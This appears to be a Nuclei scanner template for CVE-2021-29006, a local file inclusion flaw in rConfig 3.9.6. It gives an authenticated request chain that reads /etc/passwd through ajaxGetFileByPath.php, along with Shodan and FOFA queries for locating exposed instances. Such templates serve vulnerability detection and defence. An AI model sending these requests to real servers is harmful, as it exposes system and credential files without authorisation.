CVE-2021-29006: rConfig 3.9.6 - Local File Inclusion

id: CVE-2021-29006

info:
  name: rConfig 3.9.6 - Local File Inclusion
  author: r3Y3r53
  severity: medium
  description: |
    rConfig 3.9.6 is affected by a Local File Disclosure vulnerability. An authenticated user may successfully download any file on the server.
  reference:
    - https://github.com/mrojz/rconfig-exploit/blob/main/CVE-2021-29006-POC.py
    - https://nvd.nist.gov/vuln/detail/CVE-2021-29006
    - http://rconfig.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-29006
    cwe-id: CWE-22
    epss-score: 0.30402
    epss-percentile: 0.96554
    cpe: cpe:2.3:a:rconfig:rconfig:3.9.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rconfig
    product: rconfig
    shodan-query:
      - http.title:"rConfig"
      - http.title:"rconfig"
    fofa-query: title="rconfig"
    google-query: intitle:"rconfig"
  tags: cve2021,cve,rconfig,authenticated,lfi

http:
  - raw:
      - |
        POST /lib/crud/userprocess.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&pass={{password}}&sublogin=1
      - |
        GET /dashboard.php HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /lib/ajaxHandlers/ajaxGetFileByPath.php?path=/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body_3
        regex:
          - 'root:.*:0:0:'

      - type: word
        part: body_2
        words:
          - 'rconfig'

      - type: status
        part: header_3
        status:
          - 200
# digest: 4b0a00483046022100b935a1e3afe037f1c800a9d63a0c3ac8ca4b1f6c911149bb6880a4c94fb18956022100a9963eca811d1885d5c7cd474080727a0a6bec33daea882df2dfeddf4168c798:922c64590222798bb761d5b6d8e72950